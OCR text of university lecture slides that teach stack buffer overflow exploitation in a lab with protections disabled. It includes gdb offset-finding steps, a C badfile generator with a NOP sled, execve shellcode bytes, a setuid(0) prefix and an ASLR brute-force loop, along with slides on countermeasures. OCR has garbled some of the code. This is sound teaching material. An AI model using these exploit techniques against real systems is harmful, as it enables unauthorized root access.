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What is buffer overflow
Understanding the stack layout
Vulnerable code

Challenges in exploitation
Shellcode

Countermeasures



Buffer Overflows

What is a buffer overflow

An anomaly where a program, while writing data to a buffer, overruns the buffer's boundary
and overwrites adjacent memory locations.

Buffer overflows can be stack-based or heap-based

Common program sections: text, initialized/uninitialized data, stack, heap

Targets of buffer overflows:

Control data: function pointers, return addresses, virtual function table (vtable)

Pointers: to further manipulate memory (e.g., vtable pointer)



Buffer Overflows

Extremely common bug in C/C++ programs.
* First major exploit: 1988 Internet Worm. fingerd
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Example: Corrupting vtable

C++ uses vtable to implement virtual functions

method #1
method #2

method #3

object T

After overflow of buf to overwrite vtable

buf[256] Shellcode

FP1

FP2
FP3

method #2

method #3

object T



Computer Security: A Hands-on Approach

Understand the Stack Layout
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Program Memory Stack

int x = 100;
int main()

{

// data stored on stack
int a=2;

float b=2.5;

static int vy;

// allocate memory on heap
int *ptr = (int *) malloc(2xsizeof (int));

// values 5 and 6 stored on heap
ptr[0]=5;
ptr[1]=6;

// deallocate memory on heap
free(ptr);

return 1;

(High address)

a,b, ptr

ptr points to

>

Stack

i
T

the memory — Heap
here
y > BSS segment
X > Data segment

(Low address)

Text segment




Function Arguments on Stack

void func(int a, int b) movl 12 (%ebp), %eax ; b is stored in %ebp + 12
{ movl 8 (%ebp), %edx ; a is stored in %ebp + 8
int x, vy; addl $edx, %eax
mov1l %¥eax, —8(%ebp) ; X 1s stored in %ebp - 8

C pushes arguments from right to left, why?



Function Call Stack

void f (int a,
{
int x;

}

volid main ()

{
£(1,2);

int b)

printf ("hello world"):;

Stack
grows

main()
stack
frame

f()
stack
frame

—

—

1

(High address)

Value of b: 2

Value of a: 1

Return Address —

Points to printf()

> in main()

Previous Frame Pointer

Value of x

(Low address)



Stack Layout for Function Call Chain

Stack (High address)

grows
i main
main() = ) |
foo() - main()’s Frame Pointer g foo
. Current |
bar() 4 | foo()’s Frame Pointer rarme
) — Pointer bar

(Low address)
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Computer Security: A Hands-on Approach

Buffer Overflow: An Example
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Vulnerable Program

int main(int argc, char *xargv)

{

char str[400];
FILE xbadfile;

badfile = fopen("badfile", "r");
fread(str, sizeof (char), 300, badfile);
foo(str);

printf ("Returned Properly\n");
return 1;

Reading 300 bytes of data from badfile

* badfile is created by the user and its contents
are under his control

Storing the file contents into the str buffer

Calling foo function with str as an argument.
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Vulnerable Program

{

int foo(char #str)

char buffer(100];

/+ The following statement has a buffer overflow
strcpy (buffer, str);

return 1;

Stack
grows

main()
stack
frame

fool()
stack
frame

I

str (pointer)

Return Address

Previous Frame Pointer

(High address)

(Low address)
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Consequences of Buffer Overflow

Overwriting return address with an address pointing to
Invalid instructions = exceptions (seg fault)
Non-existing address = exceptions

Attacker’'s code = executing malicious code (control-flow hijacking)
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Hijacking Control Flow

Stack before the buffer copy

Malicious
Code

Arguments

Return Address

Malicious
Code

Previous Frame Pointer

New Address

(Overwrite)

buffer[99]

buf.ferIO]

New Return Address

(Overwrite)

(badfile)

(Overwrite)

Stack after the buffer copy

<«— ebp
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Environment Setup

Turn off address randomization
% sudo sysctl -w kernel.randomize va_space=0

Compile set-uid root version of stack.c
- % gcc -g —0 stack -z execstack -fno-stack-protector stack.c
* % sudo chown root stack
* % sudo chmod 4755 stack
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Create Malicious Input (badfile)

Task A : Find the offset distance between the base of buffer and return address

* How many bytes to write in order to overflow the return address

Task B : Find the address to place the shell-code

* We can put the malicious code in the badfile, which will be copied to the buffer

* Qverwrite the return address w/ this location

Overwrite
Return Address

NOP NOP | ===~~~} | =====~ NOP Shellcode
A A 4 \
Start of Task A TaskB
Buffer (Distance) (Address)

(High address)
main()
stack
frame

ebp

v

str (pointer)

Return Address

Previous Frame Pointer

(Low address)

buffer[23]

buffer[0]

Buffer copy

Task B

< (Lowest possible
shellcode address)

—

- Task A
(Distance)
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ask A : Find Offset

Set breakpoint at bof and run it
- (gdb) b bof
- (gdb) run

Find the buffer address (buffer is only accessible it compiled w/-g)
- (gdb) p &buffer

Find the current frame pointer, return address@ebp + 4
- (gdb) p $ebp

Calculate distance
- (gdb) p (charx)$2 — (charx)$1

Exit (quit)
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Task A: Find Offset

$ gcc -z execstack -fno-stack-protector -g -o stack_dbg stack.c
$ touch badfile T

$ gdb stack_dbg

GNU gdb (Ubuntu 7.11.1-Oubuntul”™16.04) 7.11.1

(gdb) b foo <« Set a break point at function foo()
Breakpoint 1 at 0x804848a: file stack.c, line 14.

(gdb) run

Breakpoint 1, foo (str=0xbfffeblc "...") at stack.c:10

10 strcpy (buffer, str);

(gdb) p Sebp

S1 = (void *) Oxbfffeaf8

(gdb) p &buffer

$S2 = (char (x)[100]) Oxbfffea8c
(gdb) p/d Oxbfffeaf8 - Oxbfffea8c

$3 = 108 « Therefore, the distanceis 108 + 4 =112

(gdb) quit
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ask A : Find Offset - Method 2

Use a badfile with known pattern

° e.g., a byte stream of 01,02,03,04,05,06,07,08,09....(in binary)
Enable coredump

- ulimit -c unlimited
Run the program with the badfile = exception

Use gdb to open the coredump, get $eip
* The pattern in e1p gives the offset
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Task A: Find Offset - Method 3

Disassemble the program and get the offset from instructions
* objdump -d stack

080484bb <bof>:

80484bb: 55 push %ebp

80484bc: 89 e5 mov %esp,%ebp
80484be: 83 ec 28 sub $0x28,%esp
80484c1l: 83 ec 08 sub $0x8,%esp
80484c4: ff 75 08 pushl 0x8(%ebp)
80484cT7: 8d 45 e0 lea -0x20 (%ebp) ,%eax
80484ca: 50 push %eax

80484chb: e8 a0 fe ff ff call 8048370 <strcpy@plt>
80484d0: 83 c4 10 add $0x10,%esp
80484d3: b8 01 00 00 00 mov $0x1,%eax
80484d8: c9 leave

80484d9: c3 rex



ask B : Locate the Buffer (shell-code)

When ASLR is disabled, programs are loaded at the same location

Use a program similar to the target to print the frame address
* This frame address is close to real frame address (reduce the space to guess the correct one)
* Itis easy to calculate the buffer address from the frame address

* We can put our malicious code in the badfile (in the buffer)

#include <stdio.h> $ sudo sysctl -w kernel.randomize_va_space=0
void func(intsx al) kernel . randomize_va_space 0
{ $ gcc prog.c -0 prog

printf (" :: al’s address is O0x%x \n", (unsigned int) &al); $ ./prog

) :: al’s address is Oxbffff370

int main() $ ./prog

{ :: al’s address is Oxbffff370
int x 33
func (&x);
return 1;

}



Task B : Locate the Buffer (shell-code) - 2

Obtain the exact buffer address from the coredump file

« S$esp is still valid when exception happens, pointing to the return addr

* Read the stack from $esp
Where is the buffer address on the stack?

080484bb <bof>:

55 %ebp

89 e5 %esp,%ebp

83 ec 28 $0x28,%esp

83 ec 08 $0x8,%esp

ff 75 08 pushl 0x8(%ebp)

8d 45 e0 -0x20 (%ebp) ,%eax
50 %eax

e8 a0 fe ff ff 8048370 <strcpy@Eplt>
83 c4 10 $0x10,%esp

b8 01 00 00 00 $0x1,%eax

c9

c3
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ask B : NOP Sled

Fill badfile with NOP instructions and place malicious code at the end of buffer

* NOP: instructions that does nothing
* Toincrease the chances of jumping to the correct address of the malicious code

Malicious Malicious
Code Inaccurate Code I X
naccurate
Guess -
NOP Guess —
. Failed Attack

(Overwrite) ane ac g NOP Successful Attack

> NOP
New Return Address New Return Address
(Overwrite) ebp (Overwrite) ) ebp

(Overwrite)

(Without NOP)

(Overwrite)

(With NOP)
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Structure of badfile

Distance =112

|

Once the input is copied
into buffer, the address of

this position will be
Oxbfffeaf8 + 8

NOP

NOP

RT

NOP

NOP

Malicious Code

Start of buffer:

Once the input is copied
into buffer, the memory
address will be
Oxbfffea8c

T

T~

The value placed here

will overwrite the
Return Address field

The first possible
entry point for the
malicious code
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Construct Badfile

oid main(int argc, char xxargv)
{

char buffer[200];

FILE xbadfile;

/* A. Initialize buffer with 0x90 (NOP instruction) =/
memset (&buffer, 0x90, 200);

/* B. Fill the return address field with a candidate
entry point of the malicious code */
*((long x) (buffer + [112)) = |0xbffff188 + 0x80;

// C. Place the shellcog towards the@®nd of buffer

memcpy (buffer + sizeof (buffer) - sizeof(shellcode), shellcode,
sizeof (shellcode));

/* Save the contents to the file "badfile" =/
badfile = fopen("./badfile"™, "w");

fwrite (buffer, 200, 1, badfile);

fclose (badfile);

1. Obtained from Task A - offset of the return address from the base of the buffer
2. Obtained from Task B - approximate address of the shell-code
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Strcpy Hazard

Vulnerable program uses strcpy to copy the buffer
* What's the implication?
Strcpy will stop copying the rest of the input if met a zero

 The return address and shell-code in badfile cannot contain zeros

e.g., Oxbffff188 + 0x78 = Oxbffff200, the last byte contains zero leading to end copy.

* How to address this problem?

27



Execution Results

Compiling the vulnerable code with all the countermeasures disabled

$ gcc -o stack -z execstack —-fno-stack-protector stack.c
$ sudo chown root stack
$ sudo chmod 4755 stack

Compiling the exploit code to generate the badfile.

Executing the exploit code and stack code.

$ gcc exploit.c -o exploit

$ ./exploit

$ ./stack

# id “«- Got the root shell!

uid=1000 (seed) gid—=1000 (seed) euid=0(root) groups—0(root),

28



A Note on Countermeasure

On Ubuntu16.04, /bin/sh points to /bin/dash, which has a countermeasure

It drops privileges when being executed inside a setuid process

Point /bin/sh to another shell (simplity the attack)
$ sudo 1ln -sf /bin/zsh /bin/sh

Change the shellcode (defeat this countermeasure)
change "\x68""//sh" to "\x68""/zsh"

Other methods to defeat the countermeasure will be discussed later
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Shellcode

Shellcode: the malicious code used by attackers to gain control of the system

* Originally to spawn a shell, but can do anything
« Challenges:

How to load the shellcode, zero bytes in the shellcode
Example: (compile it to binary and extract the binary instructions)

#include <stddef.h>
void main()
{
char *name([2];
name[0] = "/bin/sh";
name|[l] = NULL;
execve (name[0], name, NULL);
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Linux Syscall Dispatch

user process

| Kernel

ENTRY(system_call)
SAVE_ALL

call *SYMBOL_NAME(sys_call_table)(.%eax.4)

sys_call table

main()

{
IDT

\ fork() 0x0 | divide_error()

l :»debugo

libc.a nmi(

fork()

{
movl 2, %eax 0x80

int 0x80
}

system_call()

I* entry.S */

=W N =

sys_exit()

sys_fork() > sys_fork() |
sys_read () I* arch/i386/kernel/process.c *I
sys_write () I* kemelffork.c */ |
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Shellcode

Assembly code (machine instructions) for launching a shell.

Goal: use execve(“/bin/sh”, argv, 0) to spawn a shell

Registers used:

eax = 0x0000000b; syscall # of execve

ebx = address to “/bin/sh”

ecx = address of the argument array.

argv[@] = the address of “/bin/sh”

argv[1l] = @; no more arguments

edx = 0; no environment varilables are passed
int 0x80; invoke execve()
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Shellcode

const char code[] =
"\x31\xcO" %eax, seax x*/ <«— %eax =0 (avoid 0 in code)

"\x50" Feax x/ «— set end of string “/bin/sh”
"\x68""//sh" S0x68732f2f «/
"\x68""/bin" S0x6e69622f

"\x89\xe3" $esp, $ebx
"\x50" $eax

Wb L $ebx

"\x89\xel" | %$esp, %$ecx set %ecx

"\x99" set %edx
"\xb0\x0b" $0x0b, %al set %eax
"\xcd\x80" ' $0x80 invoke execve()




Shellcode

ebx

i

//sh
esp—s /bin
(a) Set the ebx register

11

//sh

0x2000 /bin

esp

0x2000

(b) Set the eax, ecx, and edx registers

eax

ebx

ecx

edx
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Countermeasures

Developer approaches:
+ Use safer functions like strncpy(), strncat() etc,
 safer dynamic link libraries that check the length of the data before copying.

OS approaches:

* ASLR (Address Space Layout Randomization)
Compiler approaches:

+ Stack-Guard

Hardware approaches:

* Non-Executable Stack

35



Address Space Layout Randomization

To succeed, attackers need to know the address of various targets

ASLR: randomize memory layout to make it harder for attackers to guess addresses
Most current systems support randomize stack, heap, and data...

The program must be compiled as position-independent Executable

Every time the code is loaded in the memory, stack address changes

|

Difficult to guess the stack address in the memory

!

Difficult to guess %ebp address and address of the malicious code
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ASLR: Test Example

#include <stdio.h>
#include <stdlib.h>

void main ()
{
char x[12];
char *y = malloc(sizeof (char)x12);

printf ("Address of buffer x (on stack): 0x%x\n", x);
printf ("Address of buffer y (on heap) : 0x%x\n", vy);
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ASLR Working

$ sudo sysctl -w kernel.randomize va_space=0

kernel.randomize_va_space = 0

$ a.out

Address of buffer x (on stack): Oxbffff370
Address of buffer y (on heap) : 0x804b008

$ a.out Not randomized

Address of buffer x (on stack) Oxbfff£370
Address of buffer y (on heap) 0x804b008

$ sudo sysctl -w kernel.randomize va space=1l
kernel.randomize_va_space = 1
$ a.out

Address of buffer x (on stack)
Address of buffer y (on heap)
$ a.out

Address of buffer x (on stack)
Address of buffer y (on heap)

0xb£9debl0
0x804b008 Stack-on |y

0xbf8c49d0
0x804b008

$ sudo sysctl -w kernel.randomize va space=2
kernel .randomize_va_space = 2

$ a.out
Address of buffer x (on stack): 0xbf9c76f0
Address of buffer y (on heap) : 0x87e6008
$ a.out
Address of buffer x (on stack): 0xbfe69700
Address of buffer y (on heap) : 0xa020008

Stack and heap

38



Bypassing ASLR

Brute-force attacks

Try many times, eventually get lucky

Use ROP to exploit non-randomized memory (code/data)
Code (program or libraries) that is NOT compiled as PIE
Systems that have ASLR off by default for “compatibility”

Exploit information disclosure bugs to reveal addresses

ASLR only randomizes code/data segment bases
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ASLR: Brute-force

Turn on address randomization
% sudo sysctl -w kernel.randomize va_space=2

Compile set-uid root version of stack.c
- % gcc -0 stack -z execstack -fno-stack-protector stack.c
* % sudo chown root stack
* % sudo chmod 4755 stack
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ASLR: Brute-force

Defeat ASLR by attack the vulnerable code in an infinite loop

#'!/bin/bash

SECONDS=0
value=0

while [ 1 ]
do
value=$ (( $value + 1 ))
duration=$SECONDS
min=$ (($duration / 60))
sec=$ (($duration % 60))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
./stack
done
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ASLR: Brute-force

Got the shell after running for about 19 minutes on a 32-bit Linux machine

* How long will it take on a 64-bit Linux?

19 minutes and 14 seconds elapsed.
The program has been running 12522 times so far.
line 12: 31695 Segmentation fault (core dumped) ./stack
19 minutes and 14 seconds elapsed.
The program has been running 12523 times so far.
line 12: 31697 Segmentation fault (core dumped) ./stack
19 minutes and 14 seconds elapsed.
The program has been running 12524 times so far.
# <« Got the root shell!




StackGuard

Function prologue embeds a canary word between return address and locals
Function epilogue checks canary before it returns

Wrong canary = overflow

return addr
caller’s ebp

ebp
(07.1,7.121 4

buf (64 bytes)

esp
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Execution w/ StackGuard

What is %gs:20 ?

* gs: asegmentregister pointing to memory

« Each thread has its own gs segment

* The same code %gs:20 actually accesses different memory

* %gs:20 — canary in the thread-local storage

seed@ubuntu:~“$ gcc -o prog prog.c

seed@ubuntu:~$

./prog hello

Returned Properly

seed@ubuntu:~$
*** stack smashing detected *#x*:

./prog hello00000000000
./prog terminated

foo:

.LFBO:

.cfi_startproc

pushl %ebp
.cfi_def_cfa_offset 8
.cfi_offset 5, -8

movl $esp, %ebp
.cfi_def_cfa_register 5
subl $56, %esp

movl 8 (%ebp), %eax
movl $eax, -28(%ebp)
// Canary Set Start
movl %gs:20, %eax

movl %eax, -12(%ebp)
xorl %eax, %eax

// Canary Set End

movl -28 (%ebp), %eax
movl %$eax, 4 (%esp)
leal -24 (%ebp), %eax
movl %$eax, (%esp)
call strcpy

// Canary Check Start
movl -12 (%ebp), %eax
xorl %gs:20, %eax

je .L2

call __stack.chk_ fail
// Canary Check End
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Data Execution Prevention

Shellcode is placed in the data area (stack/heap)
DEP: prevent the data to be executed and code to be overwritten

CPU provides the NX bit in the page table to mark a page to be non-executable

Similarly, Supervisor Mode Access Prevention prevent the kernel from executing the user
memory (Why?)

DEP can be defeated by reusing existing code (code-reuse attack)
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Defeating Countermeasures in bash & dash

They turn setuid process into a non-setuid process
* They set the effective user ID to the real user ID, dropping the privilege
ldea: before running them, we set the real user ID to O

* Invoke setuid(0)
+ We can do this at the beginning of the shellcode

shellcode= (
Lheres e idelh # xorl Seax, $eax @
"\x31\xdb" # xorl $ebx, %$ebx @
"\xb0\xd5" # movb $0xd5, %al ©)
"\ xcd\x80" # int $0x80 @
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Am | a Hacker Now?

Pwn2own 2020:

SUCCESS - The team from Georgia Tech used a six bug chain to pop calc and escalate to root.
They earn $70,000 USD and 7 Master of Pwn points.

1200 - Flourescence targeting Microsoft Windows with a local privilege escalation.

SUCCESS - The Pwn20wn veteran used a UAF in Windows to escalate privileges. He earns
$40,000 USD and 4 points towards Master of Pwn.

1400 - Manfred Paul of the RedRocket CTF team targeting the Ubuntu Desktop with a local
privilege escalation.

SUCCESS - The Pwn20wn newcomer wasted no time. He used an improper input validation
bug to escalate privileges. This earned him $30,000 and 3 Master of Pwn points.

Still a long way to go!
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Summary

Buffer overflow is a common security flaw
Buffer overflows can happen on the stack or in the heap
Exploit buffer overflow to run injected shellcode

Defend against the attack
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